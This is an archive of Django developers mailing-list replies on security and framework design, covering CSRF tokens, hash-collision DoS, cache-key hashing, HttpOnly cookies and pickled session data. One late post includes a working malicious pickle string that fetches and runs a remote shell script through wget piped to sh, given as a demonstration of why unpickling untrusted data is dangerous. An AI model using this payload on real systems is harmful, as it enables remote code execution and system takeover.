are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: metrics: Django case study
Thanks for sharing these results with us. I found them very interesting, and agree that they provide food for thought, and point to areas that might be improved. -Paul On Sat, Mar 24, 2012 at 12:57 AM, Gary Wilson Jr.wrote: > For those interested, I've made available a couple reports from a > class assignment where we analyzed the Django codebase, bug tracker, > and wiki. The motivation of these reports was to answer questions > related to code size, modularity, complexity, unit test coverage, and > component quality. > > Instead of attaching the roughly 3.5MB worth of PDF reports in an > email to the list, I've made the reports available on my website: > http://thegarywilson.com/blog/2012/software-metrics-django-case-study/ > > For the lazy, here are several points mentioned in the papers: > * Since 2005, slightly more than linear growth of source lines of code > (SLOC) and number of files, with a noticeably faster SLOC growth rate > in the last couple years. > * Project started with 11k SLOC in July 2005 and has grown to over 70k > SLOC in Nov. 2011. > * Almost half of the SLOC within Django reside in the contrib package. > * Growth rate of "complex" files (files with at least one function > with cyclomatic complexity greater than 10) has also been nearly > linear over time, but at a lesser rate than the SLOC growth rate. > * Average complexity of files (weighted by SLOC) peaked in 2008 and > has been in a declining trend since. > * 10 files contained at least one function with cyclomatic complexity > greater than 20. > * Percentage of functions and classes with docstrings peaked in May > 2009 near 50% and has been declining since (to near 40% in Nov. 2011). > * Packages with the lowest percentage of classes/functions/methods > with docstrings include: templatetags, http, template, and db. > * 16000 tickets: 63% not categorized. Of the remaining, categorized > tickets: 59% bug/defect, 17% new feature, 15% enhancement, 8% > cleanup/optimization, 1% task. > * Ticket resolution times: At one month after opening 35% of new > feature tickets are closed compared to 50-80% with other ticket types. > * Average defect repair time (i.e. time to ticket close) is 65 days > (though varies from 127 days for tickets categorized as normal to 31 > days for tickets categorized as trivial). In general, average repair > time has steadily decreased over the life of the project. > * The components with the most defects reported are, in order: > documentation, database layer, contrib.admin, and core, which in total > account for almost 60% of all reported defects. > * If taken in aggregate, defects reported for apps in the contrib > package account for about 25% of all defect reports. > * 13% of all tickets submitted have been marked as duplicates. > * When normalized by size (defects per SLOC), core had the highest > defect density by far, followed by the database, forms, and templates > components. > * The most edited wiki page is the "DevelopersForHire" page. > * The wiki consists of 600 pages with an average of 0.26 attachments, > 18.4 revisions, and 32512 characters. > * From 2007 to 2011, code coverage of the unit test suite more than > doubled, from 39% to 90%, with a large increase seen between the 0.96 > and 1.0 releases. > * 59.3% of the non-zero-length modules had 95% or greater test suite > line coverage, and 40.3% had 100% coverage. > > So, I think these reports show that there are some things Django is > doing well at (e.g. test coverage, avg. defect repair time > improvements, avg. complexity), and that there are some areas that > could be targeted for improvement (e.g. components with high defect > counts and densities, docstrings and source comments). > > Thanks, > Gary > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Making sure Web APIs built with Django don't have CSRF vulnerabilities.
>> One idea to mitigating this in Django core that I've considered would be >> introducing a '@csrf_defered' decorator > Practically speaking, I think this might be ok and would cover the > majority of real cases. But at the very least it means that this > decorator should live in contrib.sessions, not in the core CSRF code. I would be opposed to this code in any shipped part of Django. It certainly could be built as a third party module (if we don't have the hooks necessary to do this, we can discuss them). My main objection is that CSRF is not a topic which should be deferred, or maybe on, or anything except absolutely positively explicitly on or off. Introducing a deferred format encourages developers to ignore it, until it causes problems, at which point they will do exactly the same thing as they do now, and turn it off. It's easy enough to screw up already - adding a "maybe on" is going to bite developers even more than the current format, since it will be even easier to write code that works most of the time, for most users, but not all of the time, for all users. I fall into the camp of "you should understand what you're doing when you turn CSRF protection off". If the framework authors want to support session based authentication, I believe they're capable of doing it correctly. Until then, if users want to hack session based auth onto the frameworks, they should be careful and understand what they're doing. For readers who have not inspected it yet, Django's CSRF implementation is quite instructive: https://code.djangoproject.com/browser/django/trunk/django/middleware/csrf.py -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: make the File Storage API works with a file-like object instead of the Django File object.
This ticket is related to the issue: https://code.djangoproject.com/ticket/16946 -Paul On Tue, Feb 28, 2012 at 3:29 PM, Jonathan Frenchwrote: > You can create a Django file object from any file-like object just by > passing it to the constructor. > > django.core.files.File(my_file_like_object) > > This is basically what all the storage backends do where there is an > existing file object from whatever source, and what you have to do if you > want to save an existing file to a FileField. > > - ojno > > > On 28 February 2012 22:28, Michael wrote: >> >> Hi, >> >> The File Storage API only works with the Django File object (https:// >> docs.djangoproject.com/en/1.3/ref/files/storage/ ; >> https://docs.djangoproject.com/en/1.3/ref/files/file/). >> Wouldn't it be a good idea to make a Django file-like object instead >> and make the Storage API works with it ? >> That way we could use the current Django File object when it is real >> files but also use a "remote" file object like the urllib2.urlopen >> returns. >> >> What do you think ? >> >> Best, >> Michael >> >> -- >> You received this message because you are subscribed to the Google Groups >> "Django developers" group. >> To post to this group, send email to django-developers@googlegroups.com. >> To unsubscribe from this group, send email to >> django-developers+unsubscr...@googlegroups.com. >> For more options, visit this group at >> http://groups.google.com/group/django-developers?hl=en. >> > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Django and dictionary ordering
The official Django position on the Python hash randomization issue is that this Python bug has been fixed in Python. Users of Django should explicitly enable hash randomization for versions of Python below 3.3. We'll probably make a formal announcement and writeup for how to do this once the changes have trickled down into more general distribution channels. Users who cannot enable randomization or cannot patch their versions of Python are advised to limit the size of requests and the number of allowed parameters per request in their webserver to the smallest practicable value for their use case, and strictly limit the maximum runtime of any given process. Any failures of the Django test suite which are caused specifically by this randomization change are bugs. Tickets and patches are welcome. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Request for review for a small fix in the csrf view
> In short, the first patch add a bullet point in the CSRF error page > which states that this > error can be triggered by disabled cookies. I committed this change. > The second patch fixes the middleware itself to make the page show the > correct error message if the > error is caused by disabled cookies. Your patch didn't pass the test suite, but more importantly, it ties the CSRF protection to the session framework, which is a dependency we have worked hard to avoid. I don't think we can commit anything like your patch, since it actually changes the behavior pretty significantly. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: unblocking #17277
I'm in support of fixing the problem, and this narrowly scoped solution seems like a reasonable way to go about that. -Paul On Fri, Feb 10, 2012 at 11:45 AM, David Lowewrote: > Django devs - > > I would love to see my patch in > https://code.djangoproject.com/ticket/17277 applied. It's a pretty > small change, doesn't break backwards compatibility, and includes test > coverage. It does introduce a new pattern which isn't used elsewhere > in the django code (wrapping a broad exception class with a narrower > subclass, to make it easier to catch). > > The ticket is currently in 'Design decision needed' (has been for > several months). What's next? > > Thanks! > David Lowe > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Don't assume that missing fields from POST data are equal to an empty string value.
> The "ProfileForm({}, instance=profile)" is > clearly passing in empty data (the empty dictionary), and it makes > sense that Django would see the empty data, then determine that empty > data is allowed on the fields (blank=True) and set those fields to > empty data. If you want to avoid this, you have two options: don't use > "blank=True," or don't use a model form. I agree with Adrian. Django doesn't have control over all user agents, and we know that most of them already behave in exactly the way the RFC specifies (not sending anything for blank fields) in at least some cases (checkboxes and radioboxes). I don't think writing code to special-case everything else is the right solution. If the person writing your form leaves fields off that should be present and it results in data loss, I'd treat that like any other code bug - we don't special case to save the data from views that throw a 500 because you wrote invalid Python, so I don't see why we should add a special case for when you might write incorrect HTML. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: DoS using POST via hash algorithm collision
> invasive to app code. It seems that this crafted-hash-collision > vector doesn't have a clean answer like that. There are workarounds, > but they may not apply to particular codebases. Yeah. The discussion going on over at python-dev suggests that Python itself may actually implement support after all, which would be really nice. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: DoS using POST via hash algorithm collision
> Slow Loris can be avoided by putting a proxy capable of buffering > requests until completion between the app server and the web, right? Yes, use nginx or similar. Slowloris is generally not a problem when that is properly configured. > That seems like a simpler workaround than arch upgrade or replacing > dict implementation. This problem has nothing to do with slowloris. Replacing dict implementation prevents an attacker from producing keys which are intentionally n^2 hard for dictionary operations. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: DoS using POST via hash algorithm collision
Yes, we've seen it and are working on it. Python hasn't directly addressed the problem (and may not - it's arguable whether it's an application or a language-level issue), so we'll probably have to ship our own workaround. This is a non-trivial fix. In the meantime, workarounds include using 64 bit python, severely limiting the length of requests your server accepts, limiting the number of allowed parameters in a POST, and strictly limiting the amount of time a Django process can exist before the webserver kills it. Fortunately, attack code has not yet been made public (if you know otherwise please contact me privately). Even though this issue is now public, please continue report security problems privately to secur...@djangoproject.com. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: SOPA bill question
While this bill certainly merits discussion, and may indeed be related to sites created with and using Django, this forum is not the place for it. Please do not continue this thread here. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Django error page - MemoryError
> Place a try/catch for MemoryError on the exception handler to send back a > simple exception traceback to the browser. Yes, this makes sense, as long as we are sure the memory error is raised by Django code, not user code. > Include a configuration settings option to limit the maximum payload it will > send back to the browser per variable (i.e. maybe 500kb per stack frame, or > 2kb per variable etc) I think we should select some reasonable limits for these, and hardcode them, rather than adding a setting. Users who are debugging the entire contents of multi-megabyte variable values on the html debug page are doing it wrong. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Hash collision in 'cache' templatetag
While MD5 is "broken" in a cryptographic sense, it's not broken in the sense that we use it here. A randomly occurring hash collision is extremely unlikely (to the point of not being a problem). If we warned about potential hash collisions here, we (and everyone else who uses hashes) would have to warn about them all over the place. To give you a sense of scale, if you have a database of 1 quadrillion entries (one thousand billion)[1], your chances of a random collision from MD5 are lower than 0.001%. For practical purposes in this universe, hashes like this don't randomly collide. It is on the drawing board to improve this (and most other uses of hashing) by switching to HMAC-SHA256 and using a larger character set for the final digest, but that patch isn't likely to make it into 1.4 given our current timeframe. -Paul [1] As another point of scale, our universe is estimated to be about 43 Quadrillion seconds old. On Mon, Dec 19, 2011 at 2:00 AM, Sebastian Gollwrote: > Hi all, > > The current implementation of the 'cache' templatetag [1] uses an MD5 > hash derived from the vary_on arguments to create a unique cache_key > for the current template fragment. > > However, this approach has the possibility of a hash collision. While > not very likely, this might nonetheless expose sensitive information. > > > Consider the case where a fragment of a logged in user is cached. This > fragment might contain sensitive data relevant to that user. Due to a > hash collision in the vary_on arguments, that same fragment is later > displayed to a different user. > > The current documentation of template fragment caching [2] explicitly > gives us an example with 'request.user.username' as vary_on argument, > so we must assume that this is a valid use case. > > > Is this the desired behavior? Or am I perhaps missing something? > > Without looking at the code, the existence of a possible information > leak is not apparent from the docs. Without some idea of how hashing > and caching works, this might not even be obvious. > > > Some further research into the matter reveals that the current (MD5) > hashing approach was introduced in ticket #11270 [3], about 3 years > ago, to reduce the maximum length of cache keys so that memcached > always works. > > The history of #11270 does not give indication that the implications > of using hashes instead of the actual vary_on values were adequately > considered (outlined in the above message). Citing the ticket: > > "So we have to use md5 hash instead of the whole cached tag name with all > vary variables." > > > How should we proceed here? > > Should a note be added to the description of the template fragment > caching mechanism? Something along the lines that a cache leak is an > albeit unlikely possibility, and that no sensitive information should > be stored in a cached template? > > Alternatively, the 'cache' templatetag would have to store the actual > values of all vary_on arguments alongside the cached template fragment > (while still using a hashed cache key). On retrieval it would use the > cached template only when all vary_on arguments match. However, this > would increase both runtime and storage space requirements of the > template fragment cache. > > Regards, > Sebastian. > > [1] > https://code.djangoproject.com/browser/django/trunk/django/templatetags/cache.py?rev=16539 > [2] > https://docs.djangoproject.com/en/dev/topics/cache/#template-fragment-caching > [3] https://code.djangoproject.com/ticket/11270 > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Proposal: drop Python 2.5 support in Django 1.5
> 2.5 is EOL and no longer receiving security patches even, it is > *irresponsible* of us to support it (I claim). ANyways +1 This. +1 from me. We do everything else in our power to encourage secure behavior from our users, this is yet another appropriate step. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Small problem with HttpResponseRedirect
As Ian said, Django does the right thing here according to my tests too, and generates the absolute URIs required by RFC 2616. If you've figured out some way to actually get location headers that are noncompliant, that would be a bug, but the handling of // is correct. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Sprint in San Francisco
January 7-8 sounds good to me. > Have we thought about timeline on feature freeze, etc? Soon. I hope we feature freeze before then, and could spend a sprint triaging and killing release blockers. > If anyone in the SF area would like to host the sprint, that would > be most welcome If we don't find a specific corporate host, we could probably do it at Noisebridge, which has space appropriate for that. It's often hard to predict what else is going on there though, so it could be noisy or busy. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Queries about CSRF design following penetration test
Sri: Of course you must make sure there's no XSS. You also must make sure there's no remote code execution, and that your memcached servers aren't running unauthenticated on a publicly exposed port. > If your website has a XSS vulnerability, there can be no CSRF protection. > This is because XSS makes it possible to steal the csrf as well as session > cookie. If there's an XSS vulnerability, it doesn't matter AT ALL that the CSRF cookie can be stolen, because an XSS can be used to directly submit malicious forms, using the existing session and CSRF cookies, even if they're both set to httpOnly. [1] The browser submits them with every request to your domain. > this isn't sufficient to prevent XSS. For example, if you insert dynamic > content as part of a html attribute, Wrong. What you meant was "as part of an UNQUOTED html attribute". As the security document very clearly says, DON'T EVER DO THAT. It's the first thing right at the top there. I'll link to it, in case anyone missed that. https://docs.djangoproject.com/en/dev/topics/security/#cross-site-scripting-xss-protection Always use quotes around your HTML attributes. If you do that, inserting Django's escaped content into HTML attributes is safe. If you use unquoted HTML attributes, you should go fix your sites right now. >or as part of a javascript string - The best way to avoid XSS in those situations is to NEVER EVER do that. Use Django's XSS prevention for HTML, and serialize javascript values as JSON. You probably want to load them asynchronously, so your javascript files can be cached (you weren't writing raw javascript directly into your HTML, were you?)[2]. Serialize the raw Python data structures directly into JSON, rather than constructing JSON by hand. Python has a good JSON serializer, and Django includes one if you are using an old version of Python. As you said, Django's HTML escaping doesn't escape Javascript. That's what JSON is for. And of course, always use a JSON parser to parse the JSON (built into most modern browsers and javascript frameworks), rather than doing eval(). > This isn't Django's limitation though. Templates cannot figure out the > context in which the author is inserting dynamic content. So, in a nutshell, > you should be careful Yep. It's always important to be careful. Sorry for the extensive reply, but security is such a rabbit hole, it's easy to jump from one topic to another till you're talking about something completely different. Best, -Paul [1] Django 1.4 sets the session cookie to httpOnly by default, making it much harder to steal via XSS. [2] The ability to write javascript directly into HTML will eventually go away, when CSP gains broad acceptance. This will alleviate most XSS problems, but requires a more strict separation of content from scripting. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Queries about CSRF design following penetration test
Hi David, Our CSRF protection is a bit different from that implemented by many other frameworks. The recommendations we (wearing my OWASP hat) make as OWASP tend to be conservative and lean towards "safe is better than sorry." Security and pentest companies tend to make similar recommendations because they don't have the resources to make absolutely certain that everything is implemented correctly. In many frameworks, sessions and CSRF are inextricably linked. You can't have a form without starting a session. Because Django gets used in so many different ways, we provide an implementation that allows you to have CSRF protection without sessions (and without storing any data persistently server-side). This is useful, for example, if you have a cluster of machines processing requests behind a load balancer- you don't have to have keep server-side data in sync across the cluster. The way our CSRF tokens work is pretty simple. Each form contains a CSRF token, which matches the CSRF cookie. Before we process the protected form, we make sure that the submitted token matches the cookie. This is a server-side check, but it's not validating against a stored server-side value. Since a remote attacker should not be able to read or set arbitrary cookies on your domain, this protects you. Since we're just matching the cookie with the posted token, the data is not sensitive (in fact it's completely arbitrary - a cookie of "" works just fine), and so the rotation/expiration recommendations don't make any difference. If an attacker can read or set arbitrary cookies on your domain, all forms of cookie-based CSRF protection are broken, full stop. Generating a new token for each request is problematic from a UI perspective because it invalidates all previous forms. Most users would be very unhappy to find that opening a new tab on your site invalidated the form they'd just spent time filling out in the other tab, or that a form they accessed via the back button could not be filled out. That said, there are a few conditions that need to be met in order to have Django's CSRF protection work to the fullest extent: 1) Use HTTPS. Use it on your entire site. Use it all the time. Redirect to the encrypted version for all unencrypted requests. If you don't do this, no CSRF protection in the world can protect you from a man-in-the-middle. 2) Use HSTS. Set it for several months. Use "includeSubDomains". This means that no matter what your users type, and no matter what the man-in-the-middle does, your users will always access your site securely if they've been there at least once before. 3) Validate the HOST header in your httpd. Don't allow arbitrary requests to fall through to Django. Serve your site only for the appropriate domain. See the most recent security advisory for more information about this. If you do these 3 things, you'll be able to take advantage of the other feature that makes the CSRF protection stronger - strict referer checking (only enforced over HTTPS). This means that even if a subdomain can set or modify cookies on your domain, they can't force a visitor to post to your application, since that request won't come from your own exact domain. You should make every effort to avoid allowing subdomains to set or modify arbitrary cookies, but Django's CSRF protection prevents an attacking subdomain from causing your users to submit authenticated posts. Please feel free to come find me on IRC if you want to chat more about this - I'm PaulM there and I'm usually in #django-dev. You can also email me directly if you want to talk in private about your specific deployment. So, the tl;dr version: Use HTTPS and HSTS. The recommendations you received are generally good, but aren't relevant to Django's CSRF protection. -Paul As always, if you think you have found a security issue with Django, please email secur...@djangoproject.com, rather than posting to the public lists or the bug tracker. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Removing pickle from cookie-based session storage
> There's no reason to not use JSON by default since it's adequate for > most cases where you need to store lightweight data client-side, since > it's most useful to use with FormWizard and such, where the fields are > easily serialized as strings. If it can't be a drop-in replacement to > the other session storage, just document it and offer a > PickleSignedSessionStorage, but don't push a possibly insecure > default. The default is secure. If you don't disclose your secret key, you don't have a problem. JSON is considerably more verbose. Cookie space is limited. JSON doesn't support many of the data structures people store in sessions. There are many reasons to store data in sessions beyond FormWizard. It already isn't a drop-in replacement, since it has limitations the other ones don't have. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: DecimalField model validation
> .. (A) silent rounding issue: > when a decimal value is saved in db > its decimal digits exceeding decimal_places are rounded off using > .quantize(). Rounding defaults to ROUND_HALF_EVEN (python default). > There is no mention of this behavior in docs. Docs patches welcomed. This rounding behavior is generally superior to ROUND_UP (what most of us are taught in gradeschool) for a number of reasons that are inappropriate to get into here. If we're going to round, that's the behavior we should use as default. > .. (B) no model validation for decimal digits: > .full_clean() does not raise any exception: > - if the value has too many decimal digits > - or if value has too many digits > other fields, like CharField, do not validate values that exceed fields > constraints There's no clearly defined way to deal with overlong CharFields. Rounding overlong floating point numbers is common and not unexpected. Decimals work similarly to floats, and so it's not unreasonable to have similar behavior. Reading the docs on Python's decimal module, it makes sense to think of the decimal_places as an analog to python's decimal notion of precision. http://docs.python.org/library/decimal.html#module-decimal > .. (C) errors on save: > decimal values exceeding field's digits boundaries (decimal or total) make > .save() raise decimal.InvalidOperation exceptions This does sound like an error in validation. If it's possible to pass a value through form validation to the point where it has errors on save, that is a bug. > In my opinion they should be fixed in a backwards-incompatible way!: Thank you for your opinion, we don't do backwards-incompatible fixes. There's usually a compatible way to fix behavior. > (A) django shuld not round decimal values silently before saving, if the > value has too many decimal digits, > raise an exception (just like for values that have too many digits) In the general use case, the existing behavior is more user friendly. Many people would run out and re-add the rounding behavior if we changed it. Users will enter over-long strings into decimal fields. It's really unfriendly to paste an 32 place decimal number in and be told it can only be 17 decimal digits long (and then have to go count out till you get the correct number). Since there's not a good way to make this the default value and retain backwards compatibility, this is unlikely to change. This behavior should be documented. That said, a no_rounding kwarg sounds like a perfectly reasonable feature. > (B) decimalfield shoud not validate values that exceed its max_digits and > decimal_places constraints I agree that decimalfield should not validate values that exceed max_digits. If it does, that is a bug we should fix. We need to be careful not to create situations where very large numbers validate but very small but precise decimal numbers get rounded unexpectedly. Unfortunately, these two parameters overlap in difficult ways. I disagree about decimal_places, since the expected behavior is rounding in most other real-world circumstances. Does the combination of documenting the existing rounding behavior, fixing the error on save() with max_digits, and adding the no_rounding feature address your concerns? -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: prevent brute force attacks by acting on several failed logins, for example by using a captcha
> I was thinking of adding a recaptcha implementation, based on the work > of others, if that would work with licenses. But probably that choice > would indeed introduce an external (unwanted) dependency. Yeah... it's really a tricky problem. That solution is probably best as an external app. Some users deploy Django apps with no net access at all. > About ticket 16860, I believe that to be over my head for now. In your > opinion, is that ticket tied to the User discussion, about a more > flexible/abstract User model (ticket 3011)? It's tied to it, but 3011 is really hairy, and I believe we can do good work in 16860 with or without the changes under discussion in 3011. I don't know when we will sort out 3011, but the stuff in 16860 can happen on a different timeframe. > And/Or do you believe we have to deal with database migration first? That would be nice, but I think we can work with what we currently have. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Removing pickle from cookie-based session storage
As I said before, the existing implementation is secure, if the SECRET_KEY is kept secret. The sky is not falling, don't panic. > Isn't there also the possibility that the attacker can somehow get arbitrary > data signed into the session cookie without knowing SECRET_KEY? That's not a viable attack route. It's much less likely than a developer exposing their SECRET_KEY. The signing process for the cookie pickles the data passed in, and it's not possible to create a malicious pickle by passing arbitrary data into the pickle function. It's only possible if the data can be modified after it has been pickled, which the signing explicitly prevents. > Forgetaboutit, the exact same problem is there for every session backend. > This btw means that having write access to django_session table means exploit > of all Django instances using that DB, right? No, the same problem is not there for every session backend. The ones which are written to disk are signed in the same fashion. It is assumed that if an attacker has raw write access to your database, you have much bigger problems (especially since many databases directly allow system-level code execution in some form or another). I've looked at that code extensively, it's fine. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Removing pickle from cookie-based session storage
> You may be right about users screwing things up once in a while but > that's entirely unrelated to the fact that the sessions app expects > every backend to handle any (read: pickle-able) data you hand it. At > least that's the status quo on how every session backend I've seen > works. Yeah. Dropping pickle would be a pretty major departure from the way the other session backends work. This backend already has several other properties that make it uniquely different: - ~4k character limit - limited enforcement of session destruction - transparency of session contents I wasn't sure if changing the "pickleable" feature might be an acceptable tradeoff. > So, long story short, I don't think you made a convincing argument > to me in proposing to ship a non-conforming session backend. Hence > I propose to instead promote the section about SECRET_KEY in the > session docs to a "big fat warning" and let the users decide how and > when they use it. That would be a good option. I need to apologize (particularly to Jannis who worked really hard to get this feature into core) that my original message sounded like nobody thought about this before they implemented it. It was discussed (and documented as part of the signing code). My primary concern here is the expanded reliance on SECRET_KEY for security. As a general principle, the less we rely on it directly for our security, the better. We currently use SECRET_KEY on a limited basis internally: - salt for random token generation - signing messages and sessions stored on disk - signing intermediate data in formtools - the signing framework (not used much internally yet) and salted_hmac - these cookies (which use the signing framework) As I said in the first message, to the best of my knowledge, there's nothing insecure about the implementation now. The usage of signing to validate pickles received directly by end users expands our reliance on SECRET_KEY pretty heavily. This concerns me, which is why I brought it up here. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Session cookies set to HttpOnly in 1.4
I recently opened #16847, which proposes to set the HttpOnly property to True on session cookies by default in 1.4. I'm pretty sure this is the right approach, but I'd like a bit more feedback from the dev list here before I go ahead and do it. Are people running applications that would be broken by this change? -Paul https://code.djangoproject.com/ticket/16847 -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Removing pickle from cookie-based session storage
> JSON backend didn't allow serialization of arbitrary data, as such it was > different to all the other backends which do allow it -- which means this > backend isn't a dropin replacement. Yeah, I agree. The cookie-based backend is already a bit "special", since it is functionally limited to around 4k. > P.S.: Btw, if you leak your secret key, you can get an admin user with a > json backend too, while not being remote code execution it's still something > I would consider as catastrophic as code execution in most of my projects. No. It's far less catastrophic. It just means I'm a Django admin and can trash that project (which you can then restore from the backups). I can't own all your other Django projects on the same machine, steal your deploy keys, root your server, and then configure it to attack your dev machine when you SSH into it to see why weird things are happening. Remote code execution is BAD. > Oh and I know I am moving to thin ice now, but I'd still like to know: To my > understanding pickle doesn't necessarily allow arbitrary code execution, I > like to understand how such an attack would look like -- so I would > appreciate if you could give a more or less concrete example I should not have skipped that demo during my Djangocon talk. Since you asked nicely... try this: data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | sh'\ntR.'" import pickle; pickle.loads(data) And then open a new bash window. Obviously that payload could be a whole lot more malicious. A rootkit and a reverse shell would be traditional. As I said in the talk, pickle == eval. Don't use pickle where you wouldn't use eval. You can look at how the pickle works by running: import pickletools; print pickletools.dis(data) Hopefully that example was more or less concrete enough for you. ;) -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Removing pickle from cookie-based session storage
